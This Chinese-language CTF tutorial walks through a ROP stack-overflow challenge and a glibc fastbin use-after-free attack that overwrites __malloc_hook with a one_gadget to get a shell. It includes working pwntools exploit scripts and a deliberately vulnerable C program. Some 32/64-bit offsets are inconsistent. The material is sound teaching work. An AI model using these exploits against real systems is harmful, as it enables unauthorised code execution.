概述: 通过一道简单的ROP题目理解One_gadget的工作原理,之后利用其提供的ROP链实现堆的UAF漏洞。堆溢出作为CTF的pwn一大题型,非常值得研究。
本篇文章是用于有一定栈溢出,并且对堆的利用感兴趣的小伙伴。同时也欢迎各位师傅不吝赐教。
0x01一道简单的ROP题
准备工具:
首先要介绍一些两个工具 RopGadget和One_gadget.
都是用来寻找的ROP链的,其中RopGadget主要是寻找可以供我们自由搭配的ret链。
而One_gadget更为方便,找到的链都是只要调用就直接可以拿shell的。
使用之前需要知道程序使用的libc版本,本地程序可以在gdb中使用vmmap查看。
/lib/i386-linux-gnu/libc-2.23.so
$ cp /lib/i386-linux-gnu/libc-2.23.so libc-2.23.so #放到当前目录,方便调试。
这两个工具语法一般为
RopGadget —binary /lib路径/libc版本 —only “pop|ret”| grep 寄存器
One_gadget /lib路径/libc版本
One_gadget则更加方便,只需要知道程序的基址,并且满足下面的条件(例如第一个链 [esp+0x28]==NULL),就能自动生成ROP链。
题目分析:
主函数没有什么漏洞,于是查看一下pwn函数,read函数有一个非常明显的栈溢出。并且题目还泄露除了read的地址,这样即使开了ASLR也能获得基地址。非常明显地ROP利用。
#泄露这个部分本身也需要构造ROP,但是题目降低了难度,直接提供了。
再查看一下保机机制,发现只开了NX(本机还开了ASLR)。没有开CANARY,这样基本上只需要使用ROP就行了。
ROP解法一
#!/usr/bin/env python2
from pwn import *
#libc = ELF('/lib32/libc-2.27.so')
libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
p = process('./rop32')
#gdb.attach(p,'b execve nc')
p.recvuntil('you:')
#获取基址
libc_base = int(p.recvuntil('n'),16) - libc.symbols['read']
print libc_base
#计算/bin/sh和execve的地址
libc_bin_sh = libc_base + libc.search('/bin/sh').next()
libc_execve = libc_base + libc.symbols['execve']
#构造ROP链
send = 'a' * 0x3e + p32(libc_execve) + p32(0) + p32(libc_bin_sh) + p32(0) * 2
p.sendline(send)
p.interactive()
除了使用自己构造ROP链,还可以使用one_gadget查找出的gadget地址。
ROP解法二
#!/usr/bin/python2.7
from pwn import *
libc=ELF('libc-2.23.so')
p=process('./rop32')
#gdb.attach(p)
#context.log_level='debug'
p.recvuntil('let me help you:')
libc_base=int(p.recvuntil('n'),16)-libc.symbols['read']
print "libc_base="+hex(libc_base)
One_gadget=libc_base+0x3ac5e #from one_gadget libc-2.23.so
payload="A"*0x3e+p32(One_gadget)
p.sendline(payload)
p.interactive()
经过上面测试,可以发现,one_gadget是只需要一个地址就能完成getshell的。这种特性在堆溢出中非常重要。所以one_gadget在堆溢出中更加经常被使用。
0x02 UAF漏洞利用
UAF全称Use After Free
利用的是修改被Free的空间指针,达到任意代码执行的目的。
需要掌握的两个调试技巧:
1.$ set {unsigned char} 0x555555757420 =0x70 #修改内存
2.Ctrl+c#gdb中断程序
漏洞代码:
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void helpinfo()
{
printf("0: exitn1: mallocn2: writen3: readn4: freen");
}
int main()
{
long action;
char *buf[20];
long len;
long t,i;
setbuf(stdout, NULL);
// alarm(10);
printf("Welcome to CTFn");
printf("read:%pn",&read);
helpinfo();
while(1)
{
scanf("%ld",&action);
switch(action)
{
case 0:
printf("GoodBye!n");
return 0;
break;
case 1: // malloc
printf("index:");
scanf("%ld",&t);
if(t>=21 || t<0)
{
printf("out of range!n");
break;
}
buf[t] = malloc(32); #分配32个字节
printf("result: %pn",buf[t]);
break;
case 2: // write
printf("index:");
scanf("%ld",&i);
if(i>=21 || i<0)
{
printf("out of range!n");
break;
}
printf("length to write:");
scanf("%ld",&len);
read(0,buf[t],len);
printf("OK!n");
break;
case 3: // read
printf("index:");
scanf("%ld",&i);
if(i>=21 || i<0)
{
printf("out of range!n");
break;
}
printf("length to read:");
scanf("%ld",&len);
write(1,buf[t],len);
printf("OK!n");
break;
case 4: // free
printf("index:");
scanf("%ld",&t);
if(t>=21 || t<0)
{
printf("out of range!n");
break;
}
free(buf[t]);
printf("OK!n");
break;
default:
helpinfo();
break;
}
char c;
do {
c = getchar();
}
while (!isdigit(c));
ungetc(c, stdin);
}
return 0;
}
Glibc分析:
先来通过调试程序,理解堆内存分配方式。
#通过阅读漏洞源码可知,每次分配32个字节(0x20)
两次分配的地址分别是0x555555757420和0x555555757450
两者之间是相差0x30字节(而不是0x20)观察0x555555757420-0x10就能发现,对内存前面会0x8个字节用来存放堆块的信息(如这里每个堆块的头都包含0x31这个数字)
所以堆块分布为 堆块0:{ {头部:0x555555757418-~1f} 0x555555757420->~47 }
堆块1:{ {头部:0x55555575748-~4f} 0x555555757450->~70 }
接下来将两个堆内存free掉。
首先Free掉第一个内存,但是查看堆空间,并没有什么变化。
Free只是一个标志,并不会修改内存空间。
被Free掉内存地址会被保存在一个地方,留给下次malloc申请时候使用。
但是观察内存中并没有保存任何数据#剧透一下实际上是被保存在libc的某一个地方。
接下来Free掉第二个内存。发现被Free掉的内存,存储了这块内存指向的下一块内存。
再次申请一下就会发现 ,第二次申请会申请到这个地址存储的地址。
#第一次申请申请到的地址之前被存储在了glibc的某处。
#研究过glibc堆分配机制就会知道这是fast bin#我们会在下面给出原理分析。
FastBin分析
大概格式就是如下图所示,fastbins是一条链表(红色)。被free的chunk块,如果会根据大小分类,同一大小的会被fd指针串在一起(绿色)。第一个被free的内存块chunk,地址是存储在fastbin中的,第二个chunk被free时候,fastbin中存储的上一个chunk的地址会被保存到第二个chunk的fd中,而fashbin中存储的地址则是第二个chunk的。相当于链表的头插法
如果malloc,就是free的逆向。每次malloc就删去链表头。就不浪费篇幅了。
思考:
如果在再次malloc申请之前,把这个fd内存的数据修改掉会怎么样呢。
使用命令 set修改内存数据
set {unsigned char} 地址=0x10 #修改一个字节(char)数据为0x10
再次申请,第一次申请是正常的。第二次申请,却申请了我们指定的地址+0x10 #这就成功改变了堆的申请地址。
利用原理:
我们成功申请了一块内存到我们指定的位置。配合上这道题的write,就能完成任意地址任意数据的写入。
这里还需要介绍一个,函数叫做__malloc_hook,在libc中。每次malloc调用之前,都会被这个函数hook,所以,我们这次利用的思路就是将这个malloc_hook内部覆盖为one_gadget的地址。然后再调用一次malloc,就会自动弹出shell。
获取参数:
所以我们需要找到malloc_hook函数的地址
将libc文件放入IDA中 #注意这道题的libc和上一题不同
查看view ->export导出文件
能够获取malloc_hook的地址为0x1B2768
如果开启了ASLR,还需要获取read的地址,使用程序开头泄露的read地址,用来计算基址。可以通过IDA直接查询,就不细说了。
脚本编写:
下面出漏洞利用脚本和分析,通过阅读exp也能提升对漏洞的理解。
---------Exp.py-----------
#!/usr/bin/python2.7
from pwn import *
context.log_level = 'debug'
p=process('./heap')
p.recvuntil('read:')
libc_read = int(p.recvline(),16)
def malloc(index):
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(index))
p.recv()
def free(index):
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(index))
p.recv()
def write(index,data):
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('to write:')
p.sendline(str(len(data)))
p.sendline(data)
p.recv()
#先申请两块内存,然后释放。
malloc(0)
malloc(1)
free(0)
free(1)
base_addr=libc_read - 0xF7250
malloc_hook_addr = base_addr + 0x1B2768-0x21 #malloc_hook的地址-0x21#防止检查机制
gadget = base_addr + 0x3ac5e
#将malloc_hook的地址写入被free的内存1中 #内存数据没有被删除,只是标记的被free
write(1,p64(malloc_hook_addr))
malloc(1)
malloc(0) #申请第二块内存,会读取内存1中存储的指针。指针此时已经被标记为malloc_hook的位置。
write(0,'1'*0x21 + p64(gadget)) #向内存块中写入gadget #此时的内存0是malloc_hook地址-0x21。
#再次申请内存,malloc会调用malloc_hook函数,所以就会执行gadget。拿到shell
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(9))
p.interactive()
总结:
之前一直不敢碰堆溢出漏洞,每次开始读glibc分配内存就会觉得非常枯燥。所以一直都没有尝试,直到大佬和我讲,先动手调试,调着调着就会了。果然,实际尝试一遍了之后,发现实际堆并没有这么复杂,那些理论反而是阻碍我学习的主要原因。
调试这个漏洞的时候遇到很多问题,直到最后我自己的服务器都没有里都没有利用成功(可能是环境问题),都是在别人的电脑里实现的。不过遇到很多问题,反而让逼着我去啃glibc的原理,反而学会了很多东西。
所以,给初学者一点建议,学习漏洞利用,一定要多调试,在调试的过程中加固对理论的理解。
发表评论
您还未登录,请先登录。
登录